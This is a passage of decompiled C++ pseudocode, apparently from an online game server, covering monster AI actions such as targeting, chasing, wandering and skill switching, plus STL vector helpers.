*, int argument); //----- (0048A150) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionTargetting::MobActionTargetting(MobTacticElement::MobActionTargetting *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)MobTacticElement::MobActionTargetting::_vftable_; } // 5BA710: using guessed type int (__stdcall *MobTacticElement__MobActionTargetting___vftable_[2])(int argument); //----- (0048A160) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionTurning::MobActionTurning(MobTacticElement::MobActionTurning *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)&MobTacticElement::MobActionTurning::_vftable_; } // 5BA728: using guessed type int (__thiscall *MobTacticElement__MobActionTurning___vftable_)(MobTacticElement::MobActionBase *this, int argument); //----- (0048A170) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionAttack::MobActionAttack(MobTacticElement::MobActionAttack *this) { this->baseclass_0.baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)&MobTacticElement::MobActionAttack::_vftable_; this->mat_NextAttackTick = 0; } // 5BA740: using guessed type int (__thiscall *MobTacticElement__MobActionAttack___vftable_)(MobTacticElement::MobActionAttack *this, int argument); //----- (0048A180) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionChase::MobActionChase(MobTacticElement::MobActionChase *this) { this->baseclass_0.baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)&MobTacticElement::MobActionChase::_vftable_; } // 5BA758: using guessed type int (__thiscall *MobTacticElement__MobActionChase___vftable_)(MobTacticElement::MobActionBase *, int argument); //----- (0048A190) -------------------------------------------------------- void __thiscall MobTacticElement::MobAction2Region::MobAction2Region(MobTacticElement::MobAction2Region *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)&MobTacticElement::MobAction2Region::_vftable_; } // 5BA770: using guessed type int (__thiscall *MobTacticElement__MobAction2Region___vftable_)(MobTacticElement::MobActionBase *this, int argument); //----- (0048A1A0) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionBackStep::MobActionBackStep(MobTacticElement::MobActionBackStep *this) { this->baseclass_0.baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)&MobTacticElement::MobActionBackStep::_vftable_; } // 5BA788: using guessed type int (__thiscall *MobTacticElement__MobActionBackStep___vftable_)(MobTacticElement::MobActionBase *this, int argument); //----- (0048A1B0) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionAvoidOverlap::MobActionAvoidOverlap(MobTacticElement::MobActionAvoidOverlap *this) { this->baseclass_0.baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)&MobTacticElement::MobActionAvoidOverlap::_vftable_; } // 5BA7A0: using guessed type int (__thiscall *MobTacticElement__MobActionAvoidOverlap___vftable_)(MobTacticElement::MobActionBase *this, int argument); //----- (0048A1C0) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionWaitSkillEnd::MobActionWaitSkillEnd(MobTacticElement::MobActionWaitSkillEnd *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)MobTacticElement::MobActionWaitSkillEnd::_vftable_; } // 5BA7B8: using guessed type int (__stdcall *MobTacticElement__MobActionWaitSkillEnd___vftable_[2])(int argument); //----- (0048A1D0) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionSwingDamage::MobActionSwingDamage(MobTacticElement::MobActionSwingDamage *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)MobTacticElement::MobActionSwingDamage::_vftable_; } // 5BA7D0: using guessed type int (__stdcall *MobTacticElement__MobActionSwingDamage___vftable_[2])(int argument); //----- (0048A1E0) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionRoaming::MobActionRoaming(MobTacticElement::MobActionRoaming *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)&MobTacticElement::MobActionRoaming::_vftable_; } // 5BA7E8: using guessed type int (__thiscall *MobTacticElement__MobActionRoaming___vftable_)(MobTacticElement::MobActionBase *, int argument); //----- (0048A1F0) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionNoBrain::MobActionNoBrain(MobTacticElement::MobActionNoBrain *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)MobTacticElement::MobActionNoBrain::_vftable_; } // 5BA800: using guessed type int (__stdcall *MobTacticElement__MobActionNoBrain___vftable_[2])(int argument); //----- (0048A200) -------------------------------------------------------- #error "48A200: undefined or illegal type '#740' (funcsize=8)" //----- (0048A220) -------------------------------------------------------- MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionBase::mab_TargetChange(MobTacticElement::MobActionBase *this, MobTacticElement::MobActionArgument *argument) { return (MobTacticElement::MobActionBase *)&MobTacticElement::MobActionArgument::Actor::targetting; } //----- (0048A230) -------------------------------------------------------- MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionNoBrain::mab_Think(MobTacticElement::MobActionNoBrain *this, MobTacticElement::MobActionArgument *argument) { return (MobTacticElement::MobActionBase *)this; } //----- (0048A240) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::sm_NextAttackSequence(int this) { int v1; // eax@1 MobAttackSequence::AttackElement4Mob *v2; // ecx@1 v1 = this; v2 = *(MobAttackSequence::AttackElement4Mob **)(this + 7564); if ( v2 ) MobAttackSequence::AttackElement4Mob::ae4m_NextSkill(v2, (int *)(v1 + 7568)); } //----- (0048A260) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionArgument::Actor::SetTargetPoint(MobTacticElement::MobActionArgument::Actor *this, #325 **ppTargetObject) { MobTacticElement::MobActionArgument::Actor *v2; // esi@1 v2 = this; ((void (__stdcall *)(_DWORD))this->inmove.baseclass_0.vfptr->mb_SetTargetPoint)(ppTargetObject); v2->inmove_cancelable.baseclass_0.baseclass_0.vfptr->mb_SetTargetPoint( (MobTacticElement::MobActionBase *)&v2->inmove_cancelable, ppTargetObject); v2->inmove_chase.baseclass_0.vfptr->mb_SetTargetPoint( (MobTacticElement::MobActionBase *)&v2->inmove_chase, ppTargetObject); v2->wander.baseclass_0.vfptr->mb_SetTargetPoint((MobTacticElement::MobActionBase *)&v2->wander, ppTargetObject); v2->attack.baseclass_0.baseclass_0.vfptr->mb_SetTargetPoint( (MobTacticElement::MobActionBase *)&v2->attack, ppTargetObject); v2->chase.baseclass_0.baseclass_0.vfptr->mb_SetTargetPoint( (MobTacticElement::MobActionBase *)&v2->chase, ppTargetObject); v2->backstep.baseclass_0.baseclass_0.vfptr->mb_SetTargetPoint( (MobTacticElement::MobActionBase *)&v2->backstep, ppTargetObject); v2->avoidoverlap.baseclass_0.baseclass_0.vfptr->mb_SetTargetPoint( (MobTacticElement::MobActionBase *)&v2->avoidoverlap, ppTargetObject); v2->waitskillend.baseclass_0.vfptr->mb_SetTargetPoint( (MobTacticElement::MobActionBase *)&v2->waitskillend, ppTargetObject); v2->swingdamage.baseclass_0.vfptr->mb_SetTargetPoint( (MobTacticElement::MobActionBase *)&v2->swingdamage, ppTargetObject); v2->turning.baseclass_0.vfptr->mb_SetTargetPoint((MobTacticElement::MobActionBase *)&v2->turning, ppTargetObject); } //----- (0048A2E0) -------------------------------------------------------- Navigator::NaviPoint *__cdecl std::_Copy_opt(Navigator::NaviPoint *_First, Navigator::NaviPoint *_Last, Navigator::NaviPoint *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { Navigator::NaviPoint *v4; // ecx@1 Navigator::NaviPoint *result; // eax@1 Navigator::NaviPoint *v6; // edi@2 int v7; // esi@2 v4 = _First; for ( result = _Dest; v4 != _Last; *(_DWORD *)&v6->np_IsDeleted = v7 ) { v6 = result; result->np_RealX = v4->np_RealX; result->np_RealY = v4->np_RealY; v7 = *(_DWORD *)&v4->np_IsDeleted; ++v4; ++result; } return result; } //----- (0048A320) -------------------------------------------------------- #error "48A320: undefined or illegal type '#740' (funcsize=98)" //----- (0048A490) -------------------------------------------------------- MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionBase::mab_Think(MobTacticElement::MobActionBase *this, MobTacticElement::MobActionArgument *argument) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobTacticElement::MobActionBase::mab_Think"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTacticElement::MobActionBase::mab_Think"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobTacticElement::MobActionBase::mab_Think"); return (MobTacticElement::MobActionBase *)&MobTacticElement::MobActionArgument::Actor::targetting; } //----- (0048A4E0) -------------------------------------------------------- #error "48A4E0: undefined or illegal type '#740' (funcsize=59)" //----- (0048A5D0) -------------------------------------------------------- #error "48A5D0: undefined or illegal type '#740' (funcsize=65)" //----- (0048A6D0) -------------------------------------------------------- #error "48A6D0: undefined or illegal type '#740' (funcsize=44)" //----- (0048A7A0) -------------------------------------------------------- MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionWaitSkillEnd::mab_Think(MobTacticElement::MobActionWaitSkillEnd *this, MobTacticElement::MobActionArgument *argument) { MobTacticElement::MobActionWaitSkillEnd *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobTacticElement::MobActionWaitSkillEnd::mab_Think"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTacticElement::MobActionWaitSkillEnd::mab_Think"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( clockwatch.cw_CurrTick >= v2->mawse_EndTime ) v2 = (MobTacticElement::MobActionWaitSkillEnd *)v2->mawse_NextAction; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobTacticElement::MobActionWaitSkillEnd::mab_Think"); return (MobTacticElement::MobActionBase *)v2; } //----- (0048A840) -------------------------------------------------------- MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionWander::maw_MetronomeReset(MobTacticElement::MobActionWander *this) { MobTacticElement::MobActionWander *v1; // esi@1 unsigned int v2; // eax@1 unsigned int v3; // ecx@1 unsigned int v4; // edx@1 unsigned int v5; // eax@1 unsigned int v6; // eax@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobTacticElement::MobActionWander::maw_MetronomeReset"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTacticElement::MobActionWander::maw_MetronomeReset"; v2 = rndbox.rb_box[10].rs_point.value; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; rndbox.rb_box[10].rs_point.value = rndbox.rb_box[10].rs_point.mask & (v2 + 1); v3 = clockwatch.cw_CurrTick; v4 = 10000 * ((unsigned int)rndbox.rb_box[10].rs_slot[rndbox.rb_box[10].rs_point.value] + 55) / 0x3E8; v1->maw_ReturnTick.m_TickInterval = v4; v1->maw_ReturnTick.m_NextTick = v3 + v4; v5 = clockwatch.cw_CurrTick + 10; v1->maw_SearchTick.m_TickInterval = 10; v1->maw_SearchTick.m_NextTick = v5; v6 = clockwatch.cw_CurrTick + 10; v1->maw_WanderTick.m_TickInterval = 10; v1->maw_WanderTick.m_NextTick = v6; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobTacticElement::MobActionWander::maw_MetronomeReset"); return (MobTacticElement::MobActionBase *)v1; } //----- (0048A900) -------------------------------------------------------- #error "48A900: undefined or illegal type '#325' (funcsize=25)" //----- (0048A980) -------------------------------------------------------- #error "48A980: undefined or illegal type '#325' (funcsize=25)" //----- (0048A9F0) -------------------------------------------------------- #error "48A9F0: undefined or illegal type '#740' (funcsize=125)" //----- (0048ABA0) -------------------------------------------------------- #error "48ABA0: undefined or illegal type '#740' (funcsize=275)" //----- (0048AFB0) -------------------------------------------------------- #error "48AFB0: undefined or illegal type '#740' (funcsize=152)" //----- (0048B1A0) -------------------------------------------------------- #error "48B1A0: undefined or illegal type '#740' (funcsize=91)" //----- (0048B290) -------------------------------------------------------- #error "48B290: undefined or illegal type '#740' (funcsize=83)" //----- (0048B3F0) -------------------------------------------------------- #error "48B3F0: undefined or illegal type '#740' (funcsize=271)" //----- (0048B790) -------------------------------------------------------- #error "48B790: undefined or illegal type '#740' (funcsize=219)" //----- (0048BA90) -------------------------------------------------------- #error "48BA90: undefined or illegal type '#740' (funcsize=75)" //----- (0048BB90) -------------------------------------------------------- #error "48BB90: undefined or illegal type '#740' (funcsize=212)" //----- (0048BE50) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::sm_SkillExchange_OutOfRange(void *this) { void *v1; // ebp@1 int v2; // eax@1 int v3; // eax@2 int v4; // ecx@3 signed __int16 v5; // di@4 int v6; // edx@6 unsigned __int16 v7; // bx@6 unsigned __int16 v8; // cx@6 int v9; // eax@8 unsigned __int16 v10; // si@8 bool v11; // cf@8 int v12; // eax@9 bool v13; // zf@9 int v14; // eax@9 int v15; // eax@10 int v16; // eax@14 int v17; // eax@15 char result; // al@19 int v19; // eax@20 signed int v20; // ecx@20 int v21; // edi@21 int v22; // eax@25 signed __int16 curskill; // [sp+0h] [bp-18h]@6 unsigned __int16 v24; // [sp+4h] [bp-14h]@6 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_OutOfRange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_SkillExchange_OutOfRange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 1891); if ( v2 && (v3 = *(_DWORD *)(v2 + 1172)) != 0 ) { v4 = *((_DWORD *)v1 + 1890); if ( v4 ) v5 = *(_WORD *)(*(_DWORD *)(*((_DWORD *)v1 + 1884) + 8) + 12 * v4 + 4); else v5 = -1; v6 = *(_DWORD *)(v3 + 8); v7 = *(_WORD *)(v3 + 4); v8 = *(_WORD *)(v6 + 12 * *(_WORD *)(v3 + 14) + 4); curskill = v5; v24 = *(_WORD *)(v3 + 4); do { if ( v8 >= v7 ) goto LABEL_30; v9 = v8; v10 = v8; v11 = v8 < v7; v8 = *(_WORD *)(v6 + 12 * v8 + 4); if ( !v11 || (v12 = 3 * v9, v13 = *(_BYTE *)(v6 + 4 * v12 + 8) == 0, v14 = v6 + 4 * v12, v13) ) v15 = 0; else v15 = *(_DWORD *)v14; } while ( *(_WORD *)v15 != v5 ); if ( v10 < v7 && (v16 = v6 + 12 * v10, *(_BYTE *)(v16 + 8)) ) v17 = *(_DWORD *)v16; else v17 = 0; if ( *(_WORD *)(v17 + 2) == -1 ) { *((_DWORD *)v1 + 1890) = 0; LABEL_19: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_OutOfRange"); return 1; } v19 = *((_DWORD *)v1 + 1884); v20 = 1; if ( *(_DWORD *)(v19 + 12) > 1 ) { v21 = *(_DWORD *)(v19 + 8) + 16; while ( 1 ) { v22 = v10 < v7 && *(_BYTE *)(v6 + 12 * v10 + 8) ? *(_DWORD *)(v6 + 12 * v10) : 0; if ( *(_WORD *)v21 == *(_WORD *)(v22 + 2) ) break; ++v20; v21 += 12; if ( v20 >= *(_DWORD *)(*((_DWORD *)v1 + 1884) + 12) ) goto LABEL_29; v7 = v24; } *((_DWORD *)v1 + 1890) = v20; goto LABEL_19; } LABEL_29: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMob::sm_SkillExchange_OutOfRange : Changed skill not found", (unsigned __int16)curskill); LABEL_30: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_OutOfRange"); result = 0; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_OutOfRange"); result = 0; } return result; } //----- (0048C080) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::sm_SkillExchange_HPLow(void *this) { void *v1; // ebp@1 int v2; // eax@1 int v3; // ecx@2 int v4; // eax@3 unsigned __int16 v5; // si@6 unsigned __int16 v6; // di@8 int v7; // ecx@9 int v8; // eax@9 unsigned __int16 v9; // dx@9 bool v10; // cf@9 int v11; // edx@11 int v12; // eax@15 int v13; // edi@16 unsigned int v14; // edi@18 int v15; // eax@20 int v16; // eax@21 char result; // al@25 int v18; // eax@26 signed int v19; // ecx@26 int v20; // edx@27 int v21; // edi@29 int v22; // eax@30 int v23; // [sp+0h] [bp-24h]@2 signed __int16 curskill; // [sp+4h] [bp-20h]@4 unsigned __int16 lt; // [sp+Ch] [bp-18h]@9 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_HPLow"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_SkillExchange_HPLow"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 1891); if ( v2 && (v3 = *(_DWORD *)(v2 + 1176), v23 = *(_DWORD *)(v2 + 1176), v3) ) { v4 = *((_DWORD *)v1 + 1890); if ( v4 ) curskill = *(_WORD *)(*(_DWORD *)(*((_DWORD *)v1 + 1884) + 8) + 12 * v4 + 4); else curskill = -1; v5 = *(_WORD *)(*(_DWORD *)(v3 + 8) + 12 * *(_WORD *)(v3 + 14) + 4); while ( 1 ) { v6 = *(_WORD *)(v3 + 4); if ( v5 >= v6 ) goto LABEL_35; v7 = *(_DWORD *)(v3 + 8); v8 = v5; v9 = v5; v10 = v5 < v6; v5 = *(_WORD *)(v7 + 12 * v5 + 4); lt = v9; if ( v10 && *(_BYTE *)(v7 + 12 * v8 + 8) ) v11 = *(_DWORD *)(v7 + 12 * v8); else v11 = 0; if ( *(_WORD *)v11 == curskill ) { if ( lt < v6 && (v12 = v7 + 12 * v8, *(_BYTE *)(v12 + 8)) ) v13 = *(_DWORD *)v12; else v13 = 0; v14 = *(_DWORD *)(v13 + 4) * (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1244))(v1) / 0x3E8u; if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1236))(v1) < v14 ) break; } v3 = v23; } if ( lt < *(_WORD *)(v23 + 4) && (v15 = *(_DWORD *)(v23 + 8) + 12 * lt, *(_BYTE *)(v15 + 8)) ) v16 = *(_DWORD *)v15; else v16 = 0; if ( *(_WORD *)(v16 + 2) == -1 ) { *((_DWORD *)v1 + 1890) = 0; LABEL_25: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_HPLow"); return 1; } v18 = *((_DWORD *)v1 + 1884); v19 = 1; if ( *(_DWORD *)(v18 + 12) > 1 ) { v20 = *(_DWORD *)(v18 + 8) + 16; while ( 1 ) { if ( lt < *(_WORD *)(v23 + 4) && (v21 = *(_DWORD *)(v23 + 8), *(_BYTE *)(v21 + 12 * lt + 8)) ) v22 = *(_DWORD *)(v21 + 12 * lt); else v22 = 0; if ( *(_WORD *)v20 == *(_WORD *)(v22 + 2) ) break; ++v19; v20 += 12; if ( v19 >= *(_DWORD *)(*((_DWORD *)v1 + 1884) + 12) ) goto LABEL_34; } *((_DWORD *)v1 + 1890) = v19; goto LABEL_25; } LABEL_34: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMob::sm_SkillExchange_HPLow : Changed skill not found", (unsigned __int16)curskill); LABEL_35: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_HPLow"); result = 0; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_HPLow"); result = 0; } return result; } //----- (0048C310) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::sm_SkillExchange_TargetState(void *this, int a2) { void *v2; // esi@1 int v3; // eax@1 int v4; // ecx@2 int v5; // eax@3 signed __int16 v6; // bx@4 unsigned __int16 v7; // si@6 unsigned __int16 v8; // di@8 int v9; // ecx@9 int v10; // eax@9 unsigned __int16 v11; // bp@9 bool v12; // cf@9 int v13; // edx@11 int v14; // eax@15 int v15; // eax@16 int v16; // eax@20 int v17; // eax@21 char result; // al@25 int v19; // eax@26 signed int v20; // ecx@26 int v21; // edx@27 int v22; // eax@29 int v23; // eax@30 int v24; // [sp+4h] [bp-1Ch]@2 void *v25; // [sp+8h] [bp-18h]@1 v2 = this; v25 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_TargetState"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_SkillExchange_TargetState"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 1891); if ( v3 && (v4 = *(_DWORD *)(v3 + 1180), v24 = *(_DWORD *)(v3 + 1180), v4) ) { v5 = *((_DWORD *)v2 + 1890); if ( v5 ) v6 = *(_WORD *)(*(_DWORD *)(*((_DWORD *)v2 + 1884) + 8) + 12 * v5 + 4); else v6 = -1; v7 = *(_WORD *)(*(_DWORD *)(v4 + 8) + 12 * *(_WORD *)(v4 + 14) + 4); while ( 1 ) { v8 = *(_WORD *)(v4 + 4); if ( v7 >= v8 ) goto LABEL_35; v9 = *(_DWORD *)(v4 + 8); v10 = v7; v11 = v7; v12 = v7 < v8; v7 = *(_WORD *)(v9 + 12 * v7 + 4); if ( v12 && *(_BYTE *)(v9 + 12 * v10 + 8) ) v13 = *(_DWORD *)(v9 + 12 * v10); else v13 = 0; if ( *(_WORD *)v13 == v6 ) { if ( v11 < v8 && (v14 = v9 + 12 * v10, *(_BYTE *)(v14 + 8)) ) v15 = *(_DWORD *)v14; else v15 = 0; if ( (*(int (__stdcall **)(_DWORD))(*(_DWORD *)a2 + 988))(*(_DWORD *)(v15 + 4)) ) break; } v4 = v24; } if ( v11 < *(_WORD *)(v24 + 4) && (v16 = *(_DWORD *)(v24 + 8) + 12 * v11, *(_BYTE *)(v16 + 8)) ) v17 = *(_DWORD *)v16; else v17 = 0; if ( *(_WORD *)(v17 + 2) == -1 ) { *((_DWORD *)v25 + 1890) = 0; LABEL_25: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_TargetState"); return 1; } v19 = *((_DWORD *)v25 + 1884); v20 = 1; if ( *(_DWORD *)(v19 + 12) > 1 ) { v21 = *(_DWORD *)(v19 + 8) + 16; while ( 1 ) { if ( v11 < *(_WORD *)(v24 + 4) && (v22 = *(_DWORD *)(v24 + 8) + 12 * v11, *(_BYTE *)(v22 + 8)) ) v23 = *(_DWORD *)v22; else v23 = 0; if ( *(_WORD *)v21 == *(_WORD *)(v23 + 2) ) break; ++v20; v21 += 12; if ( v20 >= *(_DWORD *)(*((_DWORD *)v25 + 1884) + 12) ) goto LABEL_34; } *((_DWORD *)v25 + 1890) = v20; goto LABEL_25; } LABEL_34: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMob::sm_SkillExchange_TargetState\t : Changed skill not found", (unsigned __int16)v6); LABEL_35: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_TargetState"); result = 0; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_TargetState"); result = 0; } return result; } //----- (0048C580) -------------------------------------------------------- #error "48C580: undefined or illegal type '#740' (funcsize=183)" //----- (0048C7F0) -------------------------------------------------------- #error "48C7F0: undefined or illegal type '#740' (funcsize=692)" //----- (0048D100) -------------------------------------------------------- #error "48D100: undefined or illegal type '#740' (funcsize=150)" //----- (0048D2F0) -------------------------------------------------------- TickTimer *__thiscall std::vector>::_Ucopy(std::allocator *_Al, TickTimer *_First, TickTimer *_Last, TickTimer *__formal) { return std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( _First, _Last, __formal, _Al, (std::_Nonscalar_ptr_iterator_tag)__formal); } //----- (0048D310) -------------------------------------------------------- void __thiscall std::vector>::_Destroy(std::vector > *this, Navigator::NaviPoint *_First, Navigator::NaviPoint *_Last) { Navigator::NaviPoint *i; // esi@1 for ( i = _First; i != _Last; ++i ) ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)i); } //----- (0048D340) -------------------------------------------------------- void __thiscall std::vector>::_Tidy(std::vector > *this) { std::vector > *v1; // ebx@1 Navigator::NaviPoint *v2; // esi@1 Navigator::NaviPoint *i; // edi@2 v1 = this; v2 = this->_Myfirst; if ( v2 ) { for ( i = this->_Mylast; v2 != i; ++v2 ) ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)v2); operator delete(v1->_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (0048D390) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last) { std::vector > *v4; // ebp@1 std::vector >::iterator v5; // ecx@1 Navigator::NaviPoint *v6; // eax@2 Navigator::NaviPoint *v7; // ebx@2 Navigator::NaviPoint *v8; // edi@2 DiceTaiSaiDividind *i; // esi@2 std::vector >::iterator *v10; // eax@5 v4 = this; v5 = _First; if ( _First != _Last ) { v6 = std::_Copy_opt( *(Navigator::NaviPoint **)&_Last, v4->_Mylast, *(Navigator::NaviPoint **)&_First, (std::_Nonscalar_ptr_iterator_tag)_First.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v7 = v4->_Mylast; v8 = v6; for ( i = (DiceTaiSaiDividind *)v6; (Navigator::NaviPoint *)i != v7; i = (DiceTaiSaiDividind *)((char *)i + 12) ) ShineObjectClass::ShineMobileObject::smo_ChineCastCut(i); v5 = _First; v4->_Mylast = v8; } v10 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; return v10; } //----- (0048D3F0) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0048D460) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, Navigator::NaviPoint *_Val) { std::vector > *v4; // esi@1 unsigned int v5; // ecx@1 unsigned int v6; // edx@1 int v7; // eax@1 Navigator::NaviPoint *v8; // ebx@1 unsigned int v9; // ecx@1 signed int v10; // edx@2 unsigned int v11; // edi@3 int v12; // eax@5 int v13; // eax@10 int v14; // ecx@14 int v15; // eax@17 void *v16; // eax@21 void *v17; // ebx@21 TickTimer *v18; // ST18_4@21 int v19; // eax@21 int v20; // edi@23 Navigator::NaviPoint *v21; // eax@23 TickTimer *v22; // ecx@26 std::vector >::iterator v23; // ebx@26 Navigator::NaviPoint *v24; // ecx@27 TickTimer *v25; // ST24_4@27 unsigned int v26; // edi@27 int v27; // [sp-Ch] [bp-30h]@1 Navigator::NaviPoint _Tmp; // [sp+0h] [bp-24h]@1 void *_Newvec; // [sp+Ch] [bp-18h]@21 std::vector > *thisa; // [sp+10h] [bp-14h]@1 int *v31; // [sp+14h] [bp-10h]@1 int v32; // [sp+20h] [bp-4h]@1 TickTimer *_Wherea; // [sp+2Ch] [bp+8h]@28 TickTimer *_Ptr; // [sp+30h] [bp+Ch]@21 int _Vala; // [sp+34h] [bp+10h]@21 TickTimer *_Valb; // [sp+34h] [bp+10h]@26 v4 = this; v5 = _Val->np_RealX; v6 = _Val->np_RealY; v7 = *(_DWORD *)&_Val->np_IsDeleted; v31 = &v27; thisa = v4; _Tmp.np_RealX = v5; _Tmp.np_RealY = v6; *(_DWORD *)&_Tmp.np_IsDeleted = v7; v8 = v4->_Myfirst; v9 = 0; v32 = 0; if ( v8 ) { v10 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)v4->_Myend - (char *)v8)) >> 32) >> 1; v9 = v10 + ((unsigned int)v10 >> 31); } v11 = _Count; if ( _Count ) { if ( v8 ) v12 = v4->_Mylast - v8; else v12 = 0; if ( 357913941 - v12 < _Count ) std::vector>::_Xlen(v4); if ( v8 ) v13 = v4->_Mylast - v8; else v13 = 0; if ( v9 >= _Count + v13 ) { v22 = (TickTimer *)v4->_Mylast; v23 = _Where; _Valb = (TickTimer *)v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 12 